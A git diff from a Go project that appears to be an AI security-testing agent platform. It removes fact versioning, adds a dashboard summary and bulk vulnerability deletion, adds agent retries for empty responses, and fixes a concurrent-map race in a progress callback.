-		COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at
+		COALESCE(related_vulnerability_id,''), created_at, updated_at
 		FROM project_facts WHERE project_id = ?`
 	args := []interface{}{projectID}
 	if c := strings.TrimSpace(filter.Category); c != "" {
@@ -276,7 +300,7 @@ func (db *DB) GetProjectFactByKey(projectID, factKey string) (*ProjectFact, erro
 	row := db.QueryRow(
 		`SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
 			COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
-			COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at
+			COALESCE(related_vulnerability_id,''), created_at, updated_at
 		 FROM project_facts WHERE project_id = ? AND fact_key = ?`,
 		projectID, factKey,
 	)
@@ -288,7 +312,7 @@ func (db *DB) GetProjectFact(id string) (*ProjectFact, error) {
 	row := db.QueryRow(
 		`SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
 			COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
-			COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at
+			COALESCE(related_vulnerability_id,''), created_at, updated_at
 		 FROM project_facts WHERE id = ?`, id,
 	)
 	return scanProjectFactRow(row)
@@ -327,24 +351,15 @@ func (db *DB) UpsertProjectFact(f *ProjectFact) (*ProjectFact, error) {
 		if strings.TrimSpace(f.Confidence) == "" {
 			f.Confidence = existing.Confidence
 		}
-		if projectFactContentChanged(existing, f) {
-			versionID, verr := db.InsertProjectFactVersion(existing)
-			if verr != nil {
-				return nil, verr
-			}
-			f.SupersedesFactID = versionID
-		} else if f.SupersedesFactID == "" {
-			f.SupersedesFactID = existing.SupersedesFactID
-		}
 		_, err = db.Exec(
 			`UPDATE project_facts SET category = ?, summary = ?, body = ?, confidence = ?,
 				source_conversation_id = COALESCE(?, source_conversation_id),
 				source_message_id = COALESCE(?, source_message_id),
-				pinned = ?, supersedes_fact_id = ?, related_vulnerability_id = ?, updated_at = ?
+				pinned = ?, related_vulnerability_id = ?, updated_at = ?
 			 WHERE id = ?`,
 			f.Category, f.Summary, f.Body, f.Confidence,
 			nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
-			nullIfEmpty(f.SupersedesFactID), nullIfEmpty(f.RelatedVulnerabilityID), f.UpdatedAt, f.ID,
+			nullIfEmpty(f.RelatedVulnerabilityID), f.UpdatedAt, f.ID,
 		)
 		if err != nil {
 			return nil, fmt.Errorf("更新事实失败: %w", err)
@@ -360,12 +375,12 @@ func (db *DB) UpsertProjectFact(f *ProjectFact) (*ProjectFact, error) {
 	_, err = db.Exec(
 		`INSERT INTO project_facts (
 			id, project_id, fact_key, category, summary, body, confidence,
-			source_conversation_id, source_message_id, pinned, supersedes_fact_id, related_vulnerability_id,
+			source_conversation_id, source_message_id, pinned, related_vulnerability_id,
 			created_at, updated_at
-		) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
+		) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
 		f.ID, f.ProjectID, f.FactKey, f.Category, f.Summary, f.Body, f.Confidence,
 		nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
-		nullIfEmpty(f.SupersedesFactID), nullIfEmpty(f.RelatedVulnerabilityID),
+		nullIfEmpty(f.RelatedVulnerabilityID),
 		f.CreatedAt, f.UpdatedAt,
 	)
 	if err != nil {
@@ -440,7 +455,7 @@ func scanProjectFactRow(row *sql.Row) (*ProjectFact, error) {
 	err := row.Scan(
 		&f.ID, &f.ProjectID, &f.FactKey, &f.Category, &f.Summary, &f.Body, &f.Confidence,
 		&f.SourceConversationID, &f.SourceMessageID, &pinned,
-		&f.SupersedesFactID, &f.RelatedVulnerabilityID, &createdAt, &updatedAt,
+		&f.RelatedVulnerabilityID, &createdAt, &updatedAt,
 	)
 	if err != nil {
 		if err == sql.ErrNoRows {
@@ -461,7 +476,7 @@ func scanProjectFactFromRows(rows *sql.Rows) (*ProjectFact, error) {
 	err := rows.Scan(
 		&f.ID, &f.ProjectID, &f.FactKey, &f.Category, &f.Summary, &f.Body, &f.Confidence,
 		&f.SourceConversationID, &f.SourceMessageID, &pinned,
-		&f.SupersedesFactID, &f.RelatedVulnerabilityID, &createdAt, &updatedAt,
+		&f.RelatedVulnerabilityID, &createdAt, &updatedAt,
 	)
 	if err != nil {
 		return nil, err

internal/database/project_dashboard.go

@@ -0,0 +1,91 @@
+package database
+
+import (
+	"fmt"
+	"strings"
+	"time"
+)
+
+// ProjectDashboardFact 仪表盘跨项目近期事实条目。
+type ProjectDashboardFact struct {
+	ID          string    `json:"id"`
+	ProjectID   string    `json:"project_id"`
+	ProjectName string    `json:"project_name"`
+	FactKey     string    `json:"fact_key"`
+	Category    string    `json:"category"`
+	Summary     string    `json:"summary"`
+	Confidence  string    `json:"confidence"`
+	Pinned      bool      `json:"pinned"`
+	UpdatedAt   time.Time `json:"updated_at"`
+}
+
+// ProjectDashboardTotals 仪表盘项目事实汇总计数。
+type ProjectDashboardTotals struct {
+	ActiveProjects int `json:"active_projects"`
+	TotalFacts     int `json:"total_facts"`
+}
+
+// ProjectDashboardSummary 仪表盘项目情报摘要。
+type ProjectDashboardSummary struct {
+	RecentFacts []ProjectDashboardFact `json:"recent_facts"`
+	Totals      ProjectDashboardTotals `json:"totals"`
+}
+
+// GetProjectDashboardSummary 聚合跨项目近期事实（仅活跃项目、排除 deprecated）。
+func (db *DB) GetProjectDashboardSummary(factLimit int) (*ProjectDashboardSummary, error) {
+	if factLimit <= 0 {
+		factLimit = 5
+	}
+	if factLimit > 50 {
+		factLimit = 50
+	}
+
+	out := &ProjectDashboardSummary{
+		RecentFacts: []ProjectDashboardFact{},
+	}
+
+	if err := db.QueryRow(`SELECT COUNT(*) FROM projects WHERE status = 'active'`).Scan(&out.Totals.ActiveProjects); err != nil {
+		return nil, fmt.Errorf("统计活跃项目失败: %w", err)
+	}
+	if err := db.QueryRow(
+		`SELECT COUNT(*) FROM project_facts f
+		 INNER JOIN projects p ON p.id = f.project_id
+		 WHERE f.confidence != 'deprecated' AND p.status = 'active'`,
+	).Scan(&out.Totals.TotalFacts); err != nil {
+		return nil, fmt.Errorf("统计事实失败: %w", err)
+	}
+
+	rows, err := db.Query(
+		`SELECT f.id, f.project_id, p.name, f.fact_key, f.category, f.summary, f.confidence, f.pinned, f.updated_at
+		 FROM project_facts f
+		 INNER JOIN projects p ON p.id = f.project_id
+		 WHERE f.confidence != 'deprecated' AND p.status = 'active'
+		 ORDER BY f.pinned DESC, f.updated_at DESC
+		 LIMIT ?`,
+		factLimit,
+	)
+	if err != nil {
+		return nil, fmt.Errorf("查询近期事实失败: %w", err)
+	}
+	defer rows.Close()
+
+	for rows.Next() {
+		var item ProjectDashboardFact
+		var pinned int
+		var updatedAt string
+		if err := rows.Scan(
+			&item.ID, &item.ProjectID, &item.ProjectName, &item.FactKey,
+			&item.Category, &item.Summary, &item.Confidence, &pinned, &updatedAt,
+		); err != nil {
+			return nil, err
+		}
+		item.Pinned = pinned != 0
+		item.ProjectName = strings.TrimSpace(item.ProjectName)
+		item.UpdatedAt = parseDBTime(updatedAt)
+		out.RecentFacts = append(out.RecentFacts, item)
+	}
+	if err := rows.Err(); err != nil {
+		return nil, err
+	}
+	return out, nil
+}

internal/database/project_fact_upsert_test.go

@@ -135,54 +135,6 @@ func TestRestoreProjectFact(t *testing.T) {
 	}
 }
 
-func TestUpsertProjectFact_createsVersionOnContentChange(t *testing.T) {
-	dbPath := filepath.Join(t.TempDir(), "facts.db")
-	db, err := NewDB(dbPath, zap.NewNop())
-	if err != nil {
-		t.Fatal(err)
-	}
-	defer db.Close()
-
-	proj, err := db.CreateProject(&Project{Name: "version-test"})
-	if err != nil {
-		t.Fatal(err)
-	}
-
-	created, err := db.UpsertProjectFact(&ProjectFact{
-		ProjectID: proj.ID,
-		FactKey:   "finding/xss",
-		Category:  "finding",
-		Summary:   "v1",
-		Body:      "body v1",
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if created.SupersedesFactID != "" {
-		t.Fatalf("expected no supersedes on create, got %q", created.SupersedesFactID)
-	}
-
-	updated, err := db.UpsertProjectFact(&ProjectFact{
-		ProjectID: proj.ID,
-		FactKey:   "finding/xss",
-		Summary:   "v2",
-		Body:      "body v2",
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if updated.SupersedesFactID == "" {
-		t.Fatal("expected supersedes_fact_id after content change")
-	}
-	prev, err := db.GetProjectFactVersion(updated.SupersedesFactID)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if prev.Summary != "v1" || prev.Body != "body v1" {
-		t.Fatalf("previous version mismatch: summary=%q body=%q", prev.Summary, prev.Body)
-	}
-}
-
 func TestMergeFactBodyOnUpdate(t *testing.T) {
 	if got := mergeFactBodyOnUpdate("", "keep"); got != "keep" {
 		t.Fatalf("empty incoming: got %q", got)

internal/database/project_fact_version.go

@@ -1,144 +0,0 @@
-package database
-
-import (
-	"database/sql"
-	"fmt"
-	"strings"
-	"time"
-
-	"github.com/google/uuid"
-)
-
-// ProjectFactVersion 事实历史快照（同 fact_key 更新前归档）。
-type ProjectFactVersion struct {
-	ID                     string    `json:"id"`
-	FactID                 string    `json:"fact_id"`
-	ProjectID              string    `json:"project_id"`
-	FactKey                string    `json:"fact_key"`
-	Category               string    `json:"category"`
-	Summary                string    `json:"summary"`
-	Body                   string    `json:"body"`
-	Confidence             string    `json:"confidence"`
-	SourceConversationID   string    `json:"source_conversation_id,omitempty"`
-	SourceMessageID        string    `json:"source_message_id,omitempty"`
-	Pinned                 bool      `json:"pinned"`
-	RelatedVulnerabilityID string    `json:"related_vulnerability_id,omitempty"`
-	ArchivedAt             time.Time `json:"archived_at"`
-}
-
-// InsertProjectFactVersion 将当前事实行快照写入版本表。
-func (db *DB) InsertProjectFactVersion(f *ProjectFact) (string, error) {
-	if f == nil || f.ID == "" {
-		return "", fmt.Errorf("无效的事实记录")
-	}
-	id := uuid.New().String()
-	now := time.Now()
-	_, err := db.Exec(
-		`INSERT INTO project_fact_versions (
-			id, fact_id, project_id, fact_key, category, summary, body, confidence,
-			source_conversation_id, source_message_id, pinned, related_vulnerability_id, archived_at
-		) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
-		id, f.ID, f.ProjectID, f.FactKey, f.Category, f.Summary, f.Body, f.Confidence,
-		nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
-		nullIfEmpty(f.RelatedVulnerabilityID), now,
-	)
-	if err != nil {
-		return "", fmt.Errorf("归档事实版本失败: %w", err)
-	}
-	return id, nil
-}
-
-// GetProjectFactVersion 按版本 ID 获取快照。
-func (db *DB) GetProjectFactVersion(versionID string) (*ProjectFactVersion, error) {
-	row := db.QueryRow(
-		`SELECT id, fact_id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
-			COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
-			COALESCE(related_vulnerability_id,''), archived_at
-		 FROM project_fact_versions WHERE id = ?`, versionID,
-	)
-	return scanProjectFactVersionRow(row)
-}
-
-// ListProjectFactVersions 列出某条事实的全部历史版本（新→旧）。
-func (db *DB) ListProjectFactVersions(factID string, limit int) ([]*ProjectFactVersion, error) {
-	if limit <= 0 {
-		limit = 20
-	}
-	rows, err := db.Query(
-		`SELECT id, fact_id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
-			COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
-			COALESCE(related_vulnerability_id,''), archived_at
-		 FROM project_fact_versions WHERE fact_id = ? ORDER BY archived_at DESC LIMIT ?`,
-		factID, limit,
-	)
-	if err != nil {
-		return nil, err
-	}
-	defer rows.Close()
-	var out []*ProjectFactVersion
-	for rows.Next() {
-		v, err := scanProjectFactVersionFromRows(rows)
-		if err != nil {
-			return nil, err
-		}
-		out = append(out, v)
-	}
-	return out, rows.Err()
-}
-
-func projectFactContentChanged(existing, incoming *ProjectFact) bool {
-	if existing == nil || incoming == nil {
-		return false
-	}
-	mergedBody := mergeFactBodyOnUpdate(incoming.Body, existing.Body)
-	inCat := stringsTrimDefault(incoming.Category, existing.Category)
-	inConf := stringsTrimDefault(incoming.Confidence, existing.Confidence)
-	return existing.Summary != incoming.Summary ||
-		existing.Body != mergedBody ||
-		existing.Category != inCat ||
-		existing.Confidence != inConf
-}
-
-func stringsTrimDefault(s, fallback string) string {
-	if strings.TrimSpace(s) == "" {
-		return fallback
-	}
-	return strings.TrimSpace(s)
-}
-
-func scanProjectFactVersionRow(row *sql.Row) (*ProjectFactVersion, error) {
-	var v ProjectFactVersion
-	var pinned int
-	var archivedAt string
-	err := row.Scan(
-		&v.ID, &v.FactID, &v.ProjectID, &v.FactKey, &v.Category, &v.Summary, &v.Body, &v.Confidence,
-		&v.SourceConversationID, &v.SourceMessageID, &pinned,
-		&v.RelatedVulnerabilityID, &archivedAt,
-	)
-	if err != nil {
-		if err == sql.ErrNoRows {
-			return nil, fmt.Errorf("事实版本不存在")
-		}
-		return nil, err
-	}
-	v.Pinned = pinned != 0
-	v.ArchivedAt = parseDBTime(archivedAt)
-	return &v, nil
-}
-
-func scanProjectFactVersionFromRows(rows *sql.Rows) (*ProjectFactVersion, error) {
-	var v ProjectFactVersion
-	var pinned int
-	var archivedAt string
-	err := rows.Scan(
-		&v.ID, &v.FactID, &v.ProjectID, &v.FactKey, &v.Category, &v.Summary, &v.Body, &v.Confidence,
-		&v.SourceConversationID, &v.SourceMessageID, &pinned,
-		&v.RelatedVulnerabilityID, &archivedAt,
-	)
-	if err != nil {
-		return nil, err
-	}
-	v.Pinned = pinned != 0
-	v.ArchivedAt = parseDBTime(archivedAt)
-	return &v, nil
-}

internal/database/project_time_test.go

@@ -37,7 +37,7 @@ func TestListProjectFacts_updatedAtJSON(t *testing.T) {
 	if err != nil {
 		t.Fatal(err)
 	}
-	projects, err := db.ListProjects("", 1, 0)
+	projects, err := db.ListProjects("", "", 1, 0)
 	if err != nil || len(projects) == 0 {
 		t.Skip("no projects")
 	}

internal/database/vulnerability.go

@@ -98,7 +98,7 @@ type Vulnerability struct {
 	Title           string    `json:"title"`
 	Description     string    `json:"description"`
 	Severity        string    `json:"severity"` // critical, high, medium, low, info
-	Status          string    `json:"status"`   // open, confirmed, fixed, false_positive
+	Status          string    `json:"status"`   // open, confirmed, fixed, false_positive, ignored
 	Type            string    `json:"type"`
 	Target          string    `json:"target"`
 	Proof           string    `json:"proof"`
@@ -138,7 +138,7 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
 
 	_, err := db.Exec(
 		query,
-		vuln.ID, vuln.ConversationID, nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description,
+		vuln.ID, nullIfEmpty(vuln.ConversationID), nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description,
 		vuln.Severity, vuln.Status, vuln.Type, vuln.Target,
 		vuln.Proof, vuln.Impact, vuln.Recommendation,
 		vuln.CreatedAt, vuln.UpdatedAt,
@@ -154,7 +154,7 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
 func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
 	var vuln Vulnerability
 	query := `
-		SELECT id, conversation_id, COALESCE(project_id,''), title, description, severity, status,
+		SELECT id, COALESCE(conversation_id,''), COALESCE(project_id,''), title, description, severity, status,
 		       conversation_tag, task_tag, vulnerability_type, target, proof, impact, recommendation,
 		       COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
 		       COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
@@ -183,7 +183,7 @@ func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
 // ListVulnerabilities 列出漏洞
 func (db *DB) ListVulnerabilities(limit, offset int, filter VulnerabilityListFilter) ([]*Vulnerability, error) {
 	query := `
-		SELECT id, conversation_id, COALESCE(project_id,''), title, description, severity, status, conversation_tag, task_tag,
+		SELECT id, COALESCE(conversation_id,''), COALESCE(project_id,''), title, description, severity, status, conversation_tag, task_tag,
 		       vulnerability_type, target, proof, impact, recommendation,
 		       COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
 		       COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
@@ -263,6 +263,39 @@ func (db *DB) UpdateVulnerability(id string, vuln *Vulnerability) error {
 	return nil
 }
 
+// DeleteVulnerabilitiesByFilter 按筛选条件批量删除漏洞，返回实际删除条数
+func (db *DB) DeleteVulnerabilitiesByFilter(filter VulnerabilityListFilter) (int64, error) {
+	tx, err := db.Begin()
+	if err != nil {
+		return 0, fmt.Errorf("开启事务失败: %w", err)
+	}
+	defer func() { _ = tx.Rollback() }()
+
+	where := "WHERE 1=1"
+	args := []interface{}{}
+	where, args = filter.appendWhere(where, args)
+
+	clearQuery := `UPDATE project_facts SET related_vulnerability_id = NULL
+		WHERE related_vulnerability_id IN (SELECT id FROM vulnerabilities ` + where + `)`
+	if _, err := tx.Exec(clearQuery, args...); err != nil {
+		return 0, fmt.Errorf("清理事实漏洞关联失败: %w", err)
+	}
+
+	deleteQuery := `DELETE FROM vulnerabilities ` + where
+	result, err := tx.Exec(deleteQuery, args...)
+	if err != nil {
+		return 0, fmt.Errorf("批量删除漏洞失败: %w", err)
+	}
+	deleted, err := result.RowsAffected()
+	if err != nil {
+		return 0, fmt.Errorf("获取删除条数失败: %w", err)
+	}
+	if err := tx.Commit(); err != nil {
+		return 0, fmt.Errorf("提交事务失败: %w", err)
+	}
+	return deleted, nil
+}
+
 // DeleteVulnerability 删除漏洞
 func (db *DB) DeleteVulnerability(id string) error {
 	tx, err := db.Begin()
@@ -370,7 +403,7 @@ func (db *DB) GetVulnerabilityFilterOptions() (map[string][]string, error) {
 	if err != nil {
 		return nil, fmt.Errorf("查询漏洞ID建议失败: %w", err)
 	}
-	conversationIDs, err := collect(`SELECT DISTINCT conversation_id FROM vulnerabilities WHERE conversation_id <> '' ORDER BY created_at DESC LIMIT 500`)
+	conversationIDs, err := collect(`SELECT DISTINCT conversation_id FROM vulnerabilities WHERE conversation_id IS NOT NULL AND conversation_id <> '' ORDER BY created_at DESC LIMIT 500`)
 	if err != nil {
 		return nil, fmt.Errorf("查询会话ID建议失败: %w", err)
 	}

internal/handler/agent.go

@@ -101,7 +101,40 @@ func sameResponseStreamMeta(a, b map[string]interface{}) bool {
 	}
 	orchA, _ := a["orchestration"].(string)
 	orchB, _ := b["orchestration"].(string)
-	return strings.TrimSpace(orchA) == strings.TrimSpace(orchB)
+	if strings.TrimSpace(orchA) != strings.TrimSpace(orchB) {
+		return false
+	}
+	iterA := responseStreamIterationFromMeta(a)
+	iterB := responseStreamIterationFromMeta(b)
+	if iterA != 0 && iterB != 0 && iterA != iterB {
+		return false
+	}
+	streamA, _ := a["streamId"].(string)
+	streamB, _ := b["streamId"].(string)
+	streamA = strings.TrimSpace(streamA)
+	streamB = strings.TrimSpace(streamB)
+	if streamA != "" && streamB != "" && streamA != streamB {
+		return false
+	}
+	return true
+}
+
+func responseStreamIterationFromMeta(m map[string]interface{}) int {
+	if m == nil {
+		return 0
+	}
+	switch v := m["iteration"].(type) {
+	case int:
+		return v
+	case int32:
+		return int(v)
+	case int64:
+		return int(v)
+	case float64:
+		return int(v)
+	default:
+		return 0
+	}
 }
 
 func discardPlanningIfEchoesToolResult(respPlan *responsePlanAgg, toolData interface{}) {
@@ -604,13 +637,26 @@ func (h *AgentHandler) runRobotEinoSingleWithRetry(
 	var resultMA *multiagent.RunResult
 	var errMA error
 	var transientRunAttempts int
+	var emptyResponseAttempts int
 	for {
 		resultMA, errMA = multiagent.RunEinoSingleChatModelAgent(
 			taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger,
 			conversationID, curMsg, curHist, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID),
 		)
+		handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
+			taskCtx, conversationID, resultMA, errMA, &emptyResponseAttempts,
+			&curHist, &curMsg, segmentUserMessage, progressCallback, nil,
+		)
+		if exhaustedEmpty {
+			errMA = nil
+			break
+		}
+		if handledEmpty {
+			continue
+		}
 		if errMA == nil {
 			transientRunAttempts = 0
+			emptyResponseAttempts = 0
 			break
 		}
 		if handled, _ := h.handleEinoTransientRetryContinue(
@@ -640,14 +686,27 @@ func (h *AgentHandler) runRobotMultiAgentWithRetry(
 	var resultMA *multiagent.RunResult
 	var errMA error
 	var transientRunAttempts int
+	var emptyResponseAttempts int
 	for {
 		resultMA, errMA = multiagent.RunDeepAgent(
 			taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger,
 			conversationID, curMsg, curHist, roleTools, progressCallback,
 			h.agentsMarkdownDir, orchestration, nil, h.projectBlackboardBlock(conversationID),
 		)
+		handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
+			taskCtx, conversationID, resultMA, errMA, &emptyResponseAttempts,
+			&curHist, &curMsg, segmentUserMessage, progressCallback, nil,
+		)
+		if exhaustedEmpty {
+			errMA = nil
+			break
+		}
+		if handledEmpty {
+			continue
+		}
 		if errMA == nil {
 			transientRunAttempts = 0
+			emptyResponseAttempts = 0
 			break
 		}
 		if handled, _ := h.handleEinoTransientRetryContinue(
@@ -830,6 +889,10 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
 	seenToolCallSigs := make(map[string]string)      // toolCallId -> payload signature
 	seenToolResultSigs := make(map[string]string)    // toolCallId -> payload signature
 
+	// progressMu 保护闭包内 map 与聚合状态。Eino parallelRunToolCall 会在多 goroutine 中并发回调
+	// progress（ToolInvokeNotifyHolder.Fire → createProgressCallback），未加锁的 map 会触发 fatal panic。
+	var progressMu sync.Mutex
+
 	// response_start + response_delta：前端时间线显示为「📝 规划中」（monitor.js），不落逐条 delta；
 	// 聚合为一条 planning 写入 process_details，刷新后与线上一致。
 	var respPlan responsePlanAgg
@@ -891,6 +954,9 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
 	}
 
 	return func(eventType, message string, data interface{}) {
+		progressMu.Lock()
+		defer progressMu.Unlock()
+
 		// 上游在重试/补偿时可能重复回调相同 tool_call/tool_result。
 		// 这里做幂等过滤，保证前端展示和 process_details 都以唯一事件为准。
 		if (eventType == "tool_call" || eventType == "tool_result") && data != nil {

internal/handler/agent_progress_callback_test.go

@@ -0,0 +1,48 @@
+package handler
+
+import (
+	"context"
+	"fmt"
+	"sync"
+	"testing"
+
+	"cyberstrike-ai/internal/config"
+
+	"go.uber.org/zap"
+)
+
+// TestCreateProgressCallback_ConcurrentToolEvents 回归 issue #142：并行 tool 回调不得 concurrent map panic。
+func TestCreateProgressCallback_ConcurrentToolEvents(t *testing.T) {
+	logger := zap.NewNop()
+	h := &AgentHandler{
+		logger: logger,
+		config: &config.Config{},
+	}
+	cb := h.createProgressCallback(context.Background(), nil, "conv-race-test", "", nil)
+
+	const workers = 64
+	var wg sync.WaitGroup
+	wg.Add(workers * 2)
+	for i := 0; i < workers; i++ {
+		i := i
+		go func() {
+			defer wg.Done()
+			toolCallID := fmt.Sprintf("tc-%d", i)
+			cb("tool_call", "calling skill", map[string]interface{}{
+				"toolCallId":   toolCallID,
+				"toolName":     "skill",
+				"argumentsObj": map[string]interface{}{"skill_name": "demo-skill"},
+			})
+		}()
+		go func() {
+			defer wg.Done()
+			toolCallID := fmt.Sprintf("tc-%d", i)
+			cb("tool_result", "skill done", map[string]interface{}{
+				"toolCallId": toolCallID,
+				"toolName":   "skill",
+				"success":    true,
+			})
+		}()
+	}
+	wg.Wait()
+}

internal/handler/config.go

@@ -298,7 +298,7 @@ func (h *ConfigHandler) GetConfig(c *gin.Context) {
 		}
 	}
 
-	// 获取外部MCP工具
+	// 获取外部MCP工具（走缓存，持锁期间通常不阻塞）
 	if h.externalMCPMgr != nil {
 		ctx := context.Background()
 		externalTools := h.getExternalMCPTools(ctx)
@@ -359,9 +359,6 @@ type GetToolsResponse struct {
 
 // GetTools 获取工具列表（支持分页和搜索）
 func (h *ConfigHandler) GetTools(c *gin.Context) {
-	h.mu.RLock()
-	defer h.mu.RUnlock()
-
 	c.Header("Cache-Control", "no-store, no-cache, must-revalidate")
 
 	// 解析分页参数
@@ -407,12 +404,37 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
 		}
 	}
 
+	includeExternal := true
+	if v := strings.TrimSpace(strings.ToLower(c.Query("include_external"))); v == "0" || v == "false" || v == "no" {
+		includeExternal = false
+	}
+	refreshExternal := false
+	if v := strings.TrimSpace(strings.ToLower(c.Query("refresh_external"))); v == "1" || v == "true" || v == "yes" {
+		refreshExternal = true
+	}
+
+	// 按外部 MCP 名称筛选（MCP 管理页左侧卡片 → 右侧工具列表联动）
+	externalMCPFilter := strings.TrimSpace(c.Query("external_mcp"))
+
+	// 快照配置后立即释放锁，避免外部 MCP 网络 IO 阻塞整个配置子系统
+	h.mu.RLock()
+	securityTools := append([]config.ToolConfig(nil), h.config.Security.Tools...)
+	roles := h.config.Roles
+	toolDescriptionMode := h.config.Security.ToolDescriptionMode
+	mcpServer := h.mcpServer
+	externalMCPMgr := h.externalMCPMgr
+	h.mu.RUnlock()
+
+	pickDesc := func(shortDesc, fullDesc string) string {
+		return pickToolDescriptionWithMode(toolDescriptionMode, shortDesc, fullDesc)
+	}
+
 	// 解析角色参数，用于过滤工具并标注启用状态
 	roleName := c.Query("role")
 	var roleToolsSet map[string]bool // 角色配置的工具集合
 	var roleUsesAllTools bool = true // 角色是否使用所有工具（默认角色）
-	if roleName != "" && roleName != "默认" && h.config.Roles != nil {
-		if role, exists := h.config.Roles[roleName]; exists && role.Enabled {
+	if roleName != "" && roleName != "默认" && roles != nil {
+		if role, exists := roles[roleName]; exists && role.Enabled {
 			if len(role.Tools) > 0 {
 				// 角色配置了工具列表，只使用这些工具
 				roleToolsSet = make(map[string]bool)
@@ -426,12 +448,12 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
 
 	// 获取所有内部工具并应用搜索过滤
 	configToolMap := make(map[string]bool)
-	allTools := make([]ToolConfigInfo, 0, len(h.config.Security.Tools))
-	for _, tool := range h.config.Security.Tools {
+	allTools := make([]ToolConfigInfo, 0, len(securityTools))
+	for _, tool := range securityTools {
 		configToolMap[tool.Name] = true
 		toolInfo := ToolConfigInfo{
 			Name:        tool.Name,
-			Description: h.pickToolDescription(tool.ShortDescription, tool.Description),
+			Description: pickDesc(tool.ShortDescription, tool.Description),
 			Enabled:     tool.Enabled,
 			IsExternal:  false,
 		}
@@ -479,15 +501,15 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
 	}
 
 	// 从MCP服务器获取所有已注册的工具（包括直接注册的工具，如知识检索工具）
-	if h.mcpServer != nil {
-		mcpTools := h.mcpServer.GetAllTools()
+	if mcpServer != nil {
+		mcpTools := mcpServer.GetAllTools()
 		for _, mcpTool := range mcpTools {
 			// 跳过已经在配置文件中的工具（避免重复）
 			if configToolMap[mcpTool.Name] {
 				continue
 			}
 
-			description := h.pickToolDescription(mcpTool.ShortDescription, mcpTool.Description)
+			description := pickDesc(mcpTool.ShortDescription, mcpTool.Description)
 
 			toolInfo := ToolConfigInfo{
 				Name:        mcpTool.Name,
@@ -534,11 +556,13 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
 		}
 	}
 
-	// 获取外部MCP工具
-	if h.externalMCPMgr != nil {
-		// 创建context用于获取外部工具
+	// 获取外部MCP工具（可走缓存，不持有 config 锁）
+	if includeExternal && externalMCPMgr != nil {
+		if refreshExternal {
+			externalMCPMgr.InvalidateAllToolCaches()
+		}
 		ctx := context.Background()
-		externalTools := h.getExternalMCPTools(ctx)
+		externalTools := h.getExternalMCPToolsWithManager(ctx, externalMCPMgr, pickDesc)
 
 		// 应用搜索过滤和角色配置
 		for _, toolInfo := range externalTools {
@@ -585,6 +609,16 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
 	// 注意：这里我们不直接过滤掉工具，而是保留所有工具，但通过 role_enabled 字段标注状态
 	// 这样前端可以显示所有工具，并标注哪些工具在当前角色中可用
 
+	if externalMCPFilter != "" {
+		filtered := make([]ToolConfigInfo, 0)
+		for _, tool := range allTools {
+			if tool.IsExternal && tool.ExternalMCP == externalMCPFilter {
+				filtered = append(filtered, tool)
+			}
+		}
+		allTools = filtered
+	}
+
 	// 统一按名称排序后再分页，避免配置文件中顺序导致「全部」与「仅已启用」前几页看起来完全一致
 	sort.SliceStable(allTools, func(i, j int) bool {
 		key := func(t ToolConfigInfo) string {
@@ -1548,9 +1582,6 @@ func updateVisionConfig(doc *yaml.Node, cfg config.VisionConfig) {
 	if strings.TrimSpace(cfg.Detail) != "" {
 		setStringInMap(visionNode, "detail", cfg.Detail)
 	}
-	if len(cfg.AllowedRoots) > 0 {
-		setStringSliceInMap(visionNode, "allowed_roots", cfg.AllowedRoots)
-	}
 }
 
 func updateOpenAIConfig(doc *yaml.Node, cfg config.OpenAIConfig) {
@@ -1909,50 +1940,52 @@ func setFloatInMap(mapNode *yaml.Node, key string, value float64) {
 }
 
